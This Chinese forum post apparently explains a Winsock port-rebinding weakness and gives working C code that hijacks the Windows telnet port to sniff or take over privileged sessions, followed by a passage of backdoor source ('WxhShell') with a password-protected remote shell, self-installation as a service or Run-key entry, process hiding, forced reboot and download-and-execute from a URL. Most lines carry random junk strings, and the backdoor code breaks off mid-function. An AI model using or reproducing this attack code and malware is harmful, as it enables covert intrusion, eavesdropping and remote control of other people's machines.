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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t7]j6>MK3q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U,#~9  
p\&O;48=  
  saddr.sin_family = AF_INET; ]E/0iM5  
tkj-.~@g0'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x%EGxs;>^  
.!o]oM U/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kvwnqaX  
r9ulTv}X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -#ZLu.  
qZd*'ki<  
  这意味着什么?意味着可以进行如下的攻击: gC1LQ!:;Oi  
uPfz'|,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `DYhGk  
>Z!!`0{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MJGT|u8O&  
d,^O[9UWo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KfiSQ!{  
9S%5 Z>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B7f<XBU6>  
roQI;gq^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 KL_ /f   
PBn7{( x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \ptO4E  
T~E;@weR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m!xvWqY+  
lUu0AZQmG  
  #include jSp&\Wjb  
  #include H^-Y]{7  
  #include 7ui<2(W@0  
  #include    0b{jox\!B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   yI^Yh{  
  int main() RhowhQ)G  
  {  Fe!MA  
  WORD wVersionRequested; u !BU^@P  
  DWORD ret; 1 m'.wh|  
  WSADATA wsaData; 63 oe0T&  
  BOOL val; )J 'F]s  
  SOCKADDR_IN saddr; LQ~|VRRX<  
  SOCKADDR_IN scaddr; (,I:m[0  
  int err; |?88EG@05  
  SOCKET s; p:xyy*I  
  SOCKET sc; ZH Q?{"  
  int caddsize; <W0(!<U  
  HANDLE mt; -PPwX~;!  
  DWORD tid;   A;d@NOI#,K  
  wVersionRequested = MAKEWORD( 2, 2 ); x:)H Ii q/  
  err = WSAStartup( wVersionRequested, &wsaData ); \Eh5g/,[  
  if ( err != 0 ) { %r[`HF>  
  printf("error!WSAStartup failed!\n"); toY_1  
  return -1; g@'XmT="_  
  } ?2"g*Bak  
  saddr.sin_family = AF_INET; 5ngs1ZF@  
   ] 0R*F30]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9?\cm}^?  
I">">  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Vo"G@W)lZ  
  saddr.sin_port = htons(23); ,WE2.MWR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eX"%b(;s  
  { E{V?[HcWq  
  printf("error!socket failed!\n"); f 6I)c$]Q  
  return -1; j& 7>ph  
  } 8U@f/ P  
  val = TRUE; ;> 7~@ K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .f$2-5q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,[ 2N3iH  
  { $'\kK,=  
  printf("error!setsockopt failed!\n"); {m U%.5  
  return -1; [7><^?t V  
  } uYebRCdR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cWQJ9.:7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QI[WXx p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vEx'~_+a9  
BZ\="N#f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [lIX&!T"  
  { #btz94/~O  
  ret=GetLastError(); %scw]oF  
  printf("error!bind failed!\n"); ;\th.!'rn  
  return -1; T4W20dxL7  
  } d\qszYP[  
  listen(s,2); D<v< :  
  while(1) 7B0`.E^~  
  { 6`2i'flv  
  caddsize = sizeof(scaddr); n_{&dVE  
  //接受连接请求 \2u7>fU!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2+ u+9rW  
  if(sc!=INVALID_SOCKET) t!wbT79/  
  { Sck!w 3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 48,*sTRq  
  if(mt==NULL) ~d&&\EZ  
  { iAe"oXK|  
  printf("Thread Creat Failed!\n"); g Nz  
  break; ~V(>L=\V;  
  } Q:) 4  
  } Eet/l]e#a  
  CloseHandle(mt); ,w"cY?~<  
  } Hd4 ~v0eS  
  closesocket(s); VXCB.C"  
  WSACleanup(); HpbwW=;V  
  return 0; At>e4t2@  
  }   x=0Ak'1M  
  DWORD WINAPI ClientThread(LPVOID lpParam) H5]q*D2  
  { C=;}7g  
  SOCKET ss = (SOCKET)lpParam; yq, qS0Fo  
  SOCKET sc; &7kLSb&|;  
  unsigned char buf[4096]; 0F uj-q  
  SOCKADDR_IN saddr; L7- JK3/E  
  long num; oTk\r$4eb  
  DWORD val; ,PpVZq~  
  DWORD ret; -DGuaUU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FM3.z)>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   GQ Flt_  
  saddr.sin_family = AF_INET; DB"z93Mr<K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %>nAPO+e  
  saddr.sin_port = htons(23); :V"e+I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w)go79  
  { q8_E_s-U,  
  printf("error!socket failed!\n"); -= c&K&  
  return -1; `$4wm0G|  
  } |@rf#,hTDp  
  val = 100; G{pF! q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {2xc/   
  { 0I)eYksh  
  ret = GetLastError(); WO69Wo\C  
  return -1; /5 KY6XxR  
  } xE_~.EoB  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >]Mhkf/=)  
  { %7[d5[U~ZA  
  ret = GetLastError(); =585TR; V  
  return -1; <YG 42,N  
  } "V:RKH`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Cs]\3R|D`  
  { $W;r S7b  
  printf("error!socket connect failed!\n"); <@>icDFEHn  
  closesocket(sc); )WkN 34Q  
  closesocket(ss); 4fL>Ou[YuX  
  return -1; W'zI~'K  
  } ;Uypv|xX  
  while(1) 8N<2RT8W  
  { Q >h7H{c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )x,-O#"A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {- &wV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #cl|5jm+m#  
  num = recv(ss,buf,4096,0); 2Zq_zvKUt  
  if(num>0) [ { F;4> g  
  send(sc,buf,num,0); gfXit$s  
  else if(num==0) RLh%Y>w  
  break; d ~CZ9h  
  num = recv(sc,buf,4096,0); |@D%y&  
  if(num>0) ]|Iczg-  
  send(ss,buf,num,0); od/Q"5t[p  
  else if(num==0) ]D>\Z(b  
  break; {us#(4O  
  } xCU pMB7  
  closesocket(ss); n~yhX%=_Du  
  closesocket(sc); ti ic>j\D  
  return 0 ; .L3D]  
  } Q=498Y~x  
L# .vbf  
3jM+j_n R  
========================================================== # i|pi'I j  
>s%m\"|oh  
下边附上一个代码,,WXhSHELL dJ,,yA*  
IDt7KJ@hc  
========================================================== KupQtT<  
u3vw[k  
#include "stdafx.h" $2v{4WP7G  
3AC/;WB9  
#include <stdio.h> D0p>Q^w  
#include <string.h> jW.IkG[|  
#include <windows.h> s+ ]6X*)  
#include <winsock2.h> qJJ~#W)  
#include <winsvc.h> KZsJ_t++!W  
#include <urlmon.h> U=KFbL1Q  
`yua?n  
#pragma comment (lib, "Ws2_32.lib") [G}l;  
#pragma comment (lib, "urlmon.lib") p M_oIH'8:  
iFB {a?BE  
#define MAX_USER   100 // 最大客户端连接数 F@@6D0\X?  
#define BUF_SOCK   200 // sock buffer ~i9'9PHX@  
#define KEY_BUFF   255 // 输入 buffer /: }"Zb  
\Q MRuR.  
#define REBOOT     0   // 重启 %1PNP<3r0  
#define SHUTDOWN   1   // 关机 af;~<o a  
 5wy3C  
#define DEF_PORT   5000 // 监听端口 s% (|z  
&/]g@^h9  
#define REG_LEN     16   // 注册表键长度 #BwkbOgr  
#define SVC_LEN     80   // NT服务名长度 NR0fxh  
5(&'/U^  
// 从dll定义API ~e<h2/Xc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >_LZD4v! <  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4A~1Z,"%v(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u+,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nv2p&-e+  
}E](NvCq  
// wxhshell配置信息 .l ufE  
struct WSCFG { =S}SZYw l  
  int ws_port;         // 监听端口 ;UDd4@3`S"  
  char ws_passstr[REG_LEN]; // 口令 Ny)N  
  int ws_autoins;       // 安装标记, 1=yes 0=no =?gDM[t^  
  char ws_regname[REG_LEN]; // 注册表键名 :]k`;;vh  
  char ws_svcname[REG_LEN]; // 服务名 "1%YtV5R{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0l>4Umxr{J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *Bm _  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zDx*R3%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K&>+<bJ_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h}c R >  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l5esx#([*R  
x72T5.  
}; jK9#. 0  
[5sa1$n96G  
// default Wxhshell configuration UbSAyf  
struct WSCFG wscfg={DEF_PORT, rq_0"A  
    "xuhuanlingzhe", LyA}Nd]pyq  
    1, E|l qlS7  
    "Wxhshell", l#k&&rI5x.  
    "Wxhshell", Y5?OJO{h"  
            "WxhShell Service", x|`o7.  
    "Wrsky Windows CmdShell Service", kKEs >a  
    "Please Input Your Password: ",  pu?D^h9/  
  1, >,)tRQS  
  "http://www.wrsky.com/wxhshell.exe", k@/s-^ry3  
  "Wxhshell.exe" ym.:I@b?6  
    }; XpU%09K  
y=spD^tM8  
// 消息定义模块 #Z>EX?VS:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1xzOD@=dI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l0-zu6i w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sxFkpf_h  
char *msg_ws_ext="\n\rExit."; nb,+!)+  
char *msg_ws_end="\n\rQuit."; T99\R%  
char *msg_ws_boot="\n\rReboot..."; }{( J *T  
char *msg_ws_poff="\n\rShutdown..."; W2W4w  
char *msg_ws_down="\n\rSave to "; tEE4"OAy  
#<EMG|&(  
char *msg_ws_err="\n\rErr!"; X4{O/G  
char *msg_ws_ok="\n\rOK!"; |VxO ,[~  
7t~12m8x  
char ExeFile[MAX_PATH]; 2~(\d\k  
int nUser = 0; moT*r?l  
HANDLE handles[MAX_USER]; NT&sk rzW  
int OsIsNt; 7IUu] Fi  
_,{R3k  
SERVICE_STATUS       serviceStatus; b]cnTR2E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I' TprT  
.R5(k'g?  
// 函数声明 '&42E[0P  
int Install(void); 1b4/  
int Uninstall(void); {RPZq2Tpc  
int DownloadFile(char *sURL, SOCKET wsh); +xG  
int Boot(int flag); !bg2(2z  
void HideProc(void); iz @LS  
int GetOsVer(void); .&2Nm&y$ K  
int Wxhshell(SOCKET wsl); 0V[`zOO(o  
void TalkWithClient(void *cs); "-afHXED  
int CmdShell(SOCKET sock); s !XJ   
int StartFromService(void); nXFPoR)T  
int StartWxhshell(LPSTR lpCmdLine); 49d02AU%  
Q$XNs%7w5,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u-%|ZSg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $-ICTp  
*iwV B^^$  
// 数据结构和表定义 Iq["(!7E5  
SERVICE_TABLE_ENTRY DispatchTable[] = _(1Shm  
{ nC2e^=^  
{wscfg.ws_svcname, NTServiceMain}, :Cdqj0O3u  
{NULL, NULL} vn(ji=  
}; xN CU5  
v_L2>Pa.  
// 自我安装 ])tUXU>  
int Install(void) xixdv{M<FF  
{ v{c,>]@  
  char svExeFile[MAX_PATH]; v-ZTl4j$  
  HKEY key; Iy8fN"I9D  
  strcpy(svExeFile,ExeFile); jL]Y;T8  
" .<>(bE  
// 如果是win9x系统,修改注册表设为自启动 -~=?g9fGm6  
if(!OsIsNt) { o>i@2_r\&H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MR3\7D+9y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a4E{7c  
  RegCloseKey(key); y)*W!]:7^>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >_'0 s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e~P4>3  
  RegCloseKey(key); Ouos f1  
  return 0;  Jk>!I\  
    } + J` Qv,0  
  } -,a@bF:  
} `W9~u: F  
else { v9"|VhZ  
Z66h  
// 如果是NT以上系统,安装为系统服务 t/B4?A@C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )j\9IdkU;y  
if (schSCManager!=0) .NSV%I  
{ ,,=VF(@G  
  SC_HANDLE schService = CreateService U+-R2w]#q_  
  ( 1uco{JX<S  
  schSCManager, y%!zXK`cl]  
  wscfg.ws_svcname, u2 t=*<X  
  wscfg.ws_svcdisp, 31 &;3?3>  
  SERVICE_ALL_ACCESS, VOGx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !x[].Urj  
  SERVICE_AUTO_START, >J) 9&?  
  SERVICE_ERROR_NORMAL, >qS2ha  
  svExeFile, `R m<1  
  NULL, j.kv!;Rj=  
  NULL, Mb:>  
  NULL, !uW;Ea?  
  NULL, L Z}m;  
  NULL $bFH%EA.  
  ); A_g\Fa[jG  
  if (schService!=0)  {HbSty  
  { t03T1.:(Mg  
  CloseServiceHandle(schService); {J*|)-eAw  
  CloseServiceHandle(schSCManager); h{ T{3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ijACfl{!:t  
  strcat(svExeFile,wscfg.ws_svcname); nSp OTQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y*e({fio_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8lFYk`|g  
  RegCloseKey(key); -unQ 4G  
  return 0; 3}5Ya\x  
    } Q9k;PJ`@  
  } @k9n0Qe|F  
  CloseServiceHandle(schSCManager); .^8rO ,H[  
} 0-:dzf  
} 7Qd boEa  
yG2rAG_ G&  
return 1; /^$n&gI  
} D<'G\#n3I=  
rN'8,CV  
// 自我卸载 #<d'=R[ AK  
int Uninstall(void) tuJ{IF  
{ {hoe^07XK  
  HKEY key; z\-/R9E/5-  
G^:?)WRG  
if(!OsIsNt) { K=> j+a5$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q;.LK8M  
  RegDeleteValue(key,wscfg.ws_regname); w\a6ga!xt"  
  RegCloseKey(key); 63QF1*gPH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S^iT &;,  
  RegDeleteValue(key,wscfg.ws_regname); hjz`0AS  
  RegCloseKey(key); W9;9\k  
  return 0; 1[!7xA0j  
  } C=t9P#g*.  
} <vt}+uMzXv  
} {E.A?yej9  
else { ?3gf)g=  
F{Oaxn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nF]zd%h  
if (schSCManager!=0) Q]<6voyy  
{ 9\uBX.]x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vlFq-W!  
  if (schService!=0) ?kS#g  
  { pJIJ"o'>.9  
  if(DeleteService(schService)!=0) { thz[h5C?C  
  CloseServiceHandle(schService); {s{+MbD  
  CloseServiceHandle(schSCManager); GK [Hs 1/  
  return 0; @sUec  
  } v8zOY#?  
  CloseServiceHandle(schService); u/V&1In  
  } ^fE8|/]nG9  
  CloseServiceHandle(schSCManager); $xis4/2  
} (gIFuOGi>  
} <sSH^J4QqX  
,y@WFRsx  
return 1; a:;7'w'  
} s^m`qi(H  
Gd$!xN %O  
// 从指定url下载文件 5!aI~(3<  
int DownloadFile(char *sURL, SOCKET wsh) *S?'[PS]1  
{ 7=s0Pm  
  HRESULT hr; d[Zx [=h  
char seps[]= "/"; pu_?) U  
char *token; )G-u;1rd  
char *file; !s:_>P`MQ  
char myURL[MAX_PATH]; FAX[| p  
char myFILE[MAX_PATH]; |T]&8Q)S  
ia,5=SKJ  
strcpy(myURL,sURL); Yj'"Wg  
  token=strtok(myURL,seps); .hUlI3z9  
  while(token!=NULL) %Y,Ru)5}  
  { ,5j3(Lk  
    file=token; h!Y##_&&4  
  token=strtok(NULL,seps); ))<vCfuz2  
  } hj{)6dBX%  
brG!TJ   
GetCurrentDirectory(MAX_PATH,myFILE); \UX9[5|  
strcat(myFILE, "\\"); Uy*d@vU9c  
strcat(myFILE, file); ]68 FGH  
  send(wsh,myFILE,strlen(myFILE),0); ]z#)XW3#i  
send(wsh,"...",3,0); Af r*'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tx)$4v  
  if(hr==S_OK) "zkQu  
return 0; f=.!/e70  
else mwsdl^c  
return 1; h<bhH=6~  
KW3<5+w]c  
} j"fx|6l)  
ijvDFyN>  
// 系统电源模块 4jGN:*kZ  
int Boot(int flag) |QMmF"0  
{ !0P:G#o-$  
  HANDLE hToken; Zu~w:uNmU  
  TOKEN_PRIVILEGES tkp; [h !i{QD  
E'98JZ5ga  
  if(OsIsNt) { (:O6sTx-hE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b)M- q{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ofw&? Sk0  
    tkp.PrivilegeCount = 1; 7a^D[f0V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #I*{_|}=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +\;Ro18?  
if(flag==REBOOT) { 4_sJ0=z-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'Bxj(LaV-  
  return 0; jSH.e?  
} gat;Er  
else { B3D}'<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MkjB4:"  
  return 0; *uf)t,%  
} V5i}^%QSs  
  } `(`-S md  
  else { Q672iR\#)  
if(flag==REBOOT) { !#WQ8s!?o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -Eig#]Se3  
  return 0; mpCu,l+lo  
}  7U1 M;@y  
else { p Zlt4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :uB?h1|  
  return 0; QBH|pr  
} 0l& '`  
} { dh,sbl  
K*2s-,b *  
return 1; F?"Gln~;  
} R@s|bs?  
uDkX{<_Xe  
// win9x进程隐藏模块 [! wJIy?,  
void HideProc(void) &A.0(s  
{ ,H,[ )8  
='w 2"4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,}@4@ >?K  
  if ( hKernel != NULL ) 4 qY  
  { rNo/H<J%+j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %72(gR2Wa2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K1A<m=If  
    FreeLibrary(hKernel); U^ , !  
  } L(cKyg[R  
jP_s(PQ  
return; (n: A` ]  
} &4}=@'G@  
lw}7kp4 2F  
// 获取操作系统版本 94dd )/a  
int GetOsVer(void) ~|Ln9f-g  
{ vzbGLap#  
  OSVERSIONINFO winfo; !G[%; d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D}X6I#U'/  
  GetVersionEx(&winfo); !X$19"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %HtgZeY  
  return 1; }N(gP_?n  
  else 4k3pm&  
  return 0; cLwnV.  
} %kop's&?C  
IQtQf_"e1  
// 客户端句柄模块 9kF0H a}J  
int Wxhshell(SOCKET wsl) .zt&HI.F  
{ uM_ww6  
  SOCKET wsh; Br}@Vvq@  
  struct sockaddr_in client; NziCN*6  
  DWORD myID; N[\J#x!U  
X0^@E   
  while(nUser<MAX_USER) k[ D,du')  
{ v{ohrpb0v  
  int nSize=sizeof(client); Z : xb8]y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nb !i_@m%s  
  if(wsh==INVALID_SOCKET) return 1; Wu|MNB?M  
[pm IQ228  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %Gyn.9\  
if(handles[nUser]==0) 46e?%0(  
  closesocket(wsh); :2==7u7v?  
else 8UgogNR\  
  nUser++; R6fkc^  
  } DW9MX`!Xc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n YUFRV$  
r5nHYV&7  
  return 0; uHZ4 @ w:  
} S#8)N`  
j[A(@ w"  
// 关闭 socket :n{{\SSIgX  
void CloseIt(SOCKET wsh) zz(|V  
{ @M-w8!.~  
closesocket(wsh); k;t G-~\d  
nUser--; 2AhfQ%Y=  
ExitThread(0); j|Vl\Z&o)  
} 1?|"33\03R  
Y %bb-|\W  
// 客户端请求句柄 '5$@ I{z  
void TalkWithClient(void *cs) 5j]!r  
{ )}N:t:rry  
&Lt$~}*&6  
  SOCKET wsh=(SOCKET)cs; GeY!f/yQ<  
  char pwd[SVC_LEN]; =6:9y}~  
  char cmd[KEY_BUFF]; G]k[A=dg  
char chr[1]; >]ux3F3\  
int i,j; j?|Vx'  
u4xtlGt5  
  while (nUser < MAX_USER) { %Y;^$%X%_  
>5kz#|@P  
if(wscfg.ws_passstr) { sPW :[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }`QZV_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NI,>$@{  
  //ZeroMemory(pwd,KEY_BUFF); +kYp!00  
      i=0; FqbGT(QB0  
  while(i<SVC_LEN) { ^ /G ;  
6AY( /N8V  
  // 设置超时 qQDe'f~  
  fd_set FdRead; 5;/q[oXI  
  struct timeval TimeOut; 1I69O6"  
  FD_ZERO(&FdRead); Q) aZ0 Pt  
  FD_SET(wsh,&FdRead); J>T98y/))  
  TimeOut.tv_sec=8; 'bM=  
  TimeOut.tv_usec=0; H#YI7l2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l\AdL$$Mb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &)tv4L&  
V~/@KU8cH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C|Gk}  
  pwd=chr[0]; H6K8.  
  if(chr[0]==0xd || chr[0]==0xa) { V 1d#7rP  
  pwd=0; B;8Zlm9  
  break; MmvJ)|&t  
  } e&i`/m5  
  i++; ;Qt/(/  
    } /2=9i84  
"dt}k$Gr  
  // 如果是非法用户,关闭 socket S`  U,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %4M,f.[e  
} O[U`(A:  
G+2fmVB*X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T<Y*();Zo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > JA-G@3i  
 ^ b5+A6?  
while(1) { IOxtuR  
+Z_VF30pa  
  ZeroMemory(cmd,KEY_BUFF); $u ,6x~>  
Z VdQ$  
      // 自动支持客户端 telnet标准   ( 6zu*H)  
  j=0; D{7^y>8_Y-  
  while(j<KEY_BUFF) { I<<1mEk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FhBV.,bU,m  
  cmd[j]=chr[0]; ]57Ef'N  
  if(chr[0]==0xa || chr[0]==0xd) { w1zMY:9  
  cmd[j]=0; sxuP"4  
  break; V,& OO  
  } uR2|>m  
  j++; r~QE}00@^  
    } ,2FI?}+R  
se>\5k  
  // 下载文件 Hq>hnCT  
  if(strstr(cmd,"http://")) { 7KUf,0D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m-~3c]pA  
  if(DownloadFile(cmd,wsh)) ]3 GO_tL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i-wWbZ-  
  else *a8<cf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qof%j@  
  } K3=0D!Dq  
  else { >;j&]]-&  
'ks  .TS&  
    switch(cmd[0]) { S"^'ksL\  
  >Sw?F&  
  // 帮助 }C[ "'tLX  
  case '?': { y}={S,z%22  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (5:pHX`P  
    break; z"QtP[_m  
  } }Cfl|t<5f  
  // 安装 ]^wr+9zd  
  case 'i': { Jwj=a1I 53  
    if(Install()) [x=(:soEqC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y.8nzlkE{  
    else (5+g:mSfr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /f oI.S  
    break; rxy5Nrue  
    } g$Vr9MH  
  // 卸载 k}}'f A  
  case 'r': { (OwGp3g  
    if(Uninstall()) 5{DwD{Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o F_{oV '  
    else .tHc*Eh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5efN5Kt  
    break; 1#AxFdm1  
    } \WdSj  
  // 显示 wxhshell 所在路径 &~B8~U4%  
  case 'p': { q;sZwp<  
    char svExeFile[MAX_PATH]; C+`V?rp=s  
    strcpy(svExeFile,"\n\r"); >X iT[Ru  
      strcat(svExeFile,ExeFile); #s>'IPc0  
        send(wsh,svExeFile,strlen(svExeFile),0); ~FXq%-J  
    break; ywyg(8>zE  
    } NN+;I^NqW&  
  // 重启 lMg#zT!?  
  case 'b': { {wz_ngQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fe: ~M?]  
    if(Boot(REBOOT)) LIz'hfS!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rHOhi|+  
    else { cmCD}Skk  
    closesocket(wsh);  [Ne'2z  
    ExitThread(0); B` +, 8  
    } =_@) KWeX$  
    break; i tk/1  
    } xA-?pLt "G  
  // 关机 <_=O0 t| 6  
